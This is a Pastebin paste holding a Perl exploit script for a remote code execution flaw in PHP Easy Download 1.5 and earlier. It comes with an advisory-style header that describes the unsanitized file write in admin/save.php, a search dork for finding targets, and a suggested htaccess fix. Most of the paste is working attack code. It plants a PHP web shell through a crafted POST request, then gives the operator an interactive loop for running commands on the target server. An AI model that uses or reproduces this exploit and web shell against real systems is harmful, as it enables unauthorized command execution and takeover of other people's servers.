3xploit3r

PHP Easy Downloader RCE

Aug 16th, 2016
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.13 KB | None | 0 0
  1. ,------. ,--. ,-----. ,--.
  2. | .-. \ ,---. ,--,--. ,-| | ,---. ' .-. ',--.,--.| |
  3. | | \ :| .-. :' ,-. |' .-. |( .-' | | | || || || |
  4. | '--' /\ --.\ '-' |\ `-' |.-' `)' '-' '' '' '| |
  5. `-------' `----' `--`--' `---' `----' `-----' `----' `--'
  6.  
  7. #!/usr/bin/perl
  8. # +-------------------------------------------------------------------------------------------
  9. # + PHP Easy Download <= 1.5 Remote Code Execution Vulnerability
  10. # +-------------------------------------------------------------------------------------------
  11. # + Affected Software .: PHP Easy Download <= 1.5
  12. # + Vendor ............: http://www.ironclad.net/
  13. # + Download ..........: http://ironclad.net/scripts/PHP_Easy_Download.zip
  14. # + Description .......: "PHP Easy Download is an easy to use and convenient download script"
  15. # + Dork ..............: "PHP Easy Downloader"
  16. # + Class .............: Remote Code Execution
  17. # + Risk ..............: High (Remote Code Execution)
  18. # + Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
  19. # +-------------------------------------------------------------------------------------------
  20. # + Details:
  21. # + PHP Easy Download by default installation doesn't prevent any of the files in the
  22. # + file_info/admin directory from being accessed by a client. The file_info/admin/save.php
  23. # + file takes input passed to the script by $_POST and writes it to $_POST["filename"].0
  24. # + unsanatized in the file_info/admin/descriptions directory.
  25. # +
  26. # + Vulnerable Code:
  27. # + file_info/admin/save.php, line(s) 14-36:
  28. # + -> 14: $filename = $_POST["filename"];
  29. # + -> 15: $description = $_POST["description"];
  30. # + -> 20: $path = "../descriptions/$filename.0";
  31. # + -> 30: $content = "$accesses|$description|$moreinfo|$date";
  32. # + -> 34: $newfile = fopen($path,"w");
  33. # + -> 35: fwrite($newfile, $content);
  34. # + -> 36: fclose($newfile);
  35. # +
  36. # + Solution:
  37. # + Prevent users from accessing any of the files in the file_info directory (htaccess).
  38. # +-------------------------------------------------------------------------------------------
  39.  
  40. use Getopt::Long;
  41. use URI::Escape;
  42. use IO::Socket;
  43.  
  44. $code = "<?php passthru(\$_GET[cmd]); ?>";
  45.  
  46. main();
  47.  
  48. sub usage
  49. {
  50. print "\nPHP Easy Download <= 1.5 Remote Code Execution Exploit\n";
  51. print "-h, --host\ttarget host\t(example.com)\n";
  52. print "-f, --file\tshell file\t(shell.php)\n";
  53. print "-d, --dir\tinstall dir\t(/file_info)\n";
  54. exit;
  55. }
  56.  
  57. sub main
  58. {
  59. GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
  60. usage() unless $host;
  61.  
  62. $dir = "/file_info" unless $dir;
  63. $file = "shell.php" unless $file;
  64. uri_escape($cmd);
  65. $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
  66. or die "\nconnect() failed.\n";
  67.  
  68. print "\nconnected to ".$host.", sending data.\n";
  69. $sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";
  70. $sendlen = length($sendurl);
  71. print $sock "POST ".$dir."/admin/save.php HTTP/1.1\n";
  72. print $sock "Host: ".$host."\n";
  73. print $sock "Connection: close\n";
  74. print $sock "Content-Type: application/x-www-form-urlencoded\n";
  75. print $sock "Content-Length: ".$sendlen."\n\n";
  76. print $sock $sendurl;
  77. print "attempted to create php shell, server response:\n\n";
  78. while($recvd = <$sock>)
  79. {
  80. print " ".$recvd."";
  81. }
  82.  
  83. while($cmd !~ "~quit")
  84. {
  85. print "\n\n-> ";
  86. $cmd = <STDIN>;
  87. if ($cmd !~ "~quit")
  88. {
  89. $sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
  90. or die "connect() failed.\n";
  91. $sendurl = uri_escape($cmd);
  92.  
  93. print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1\n";
  94. print $sock "Host: ".$host."\n";
  95. print $sock "Accept: */*\n";
  96. print $sock "Connection: close\n\n";
  97. print "\n";
  98.  
  99. while($recvd = <$sock>)
  100. {
  101. print $recvd;
  102. }
  103. }
  104. }
  105. exit;
  106. }
Add Comment
Please, Sign In to add comment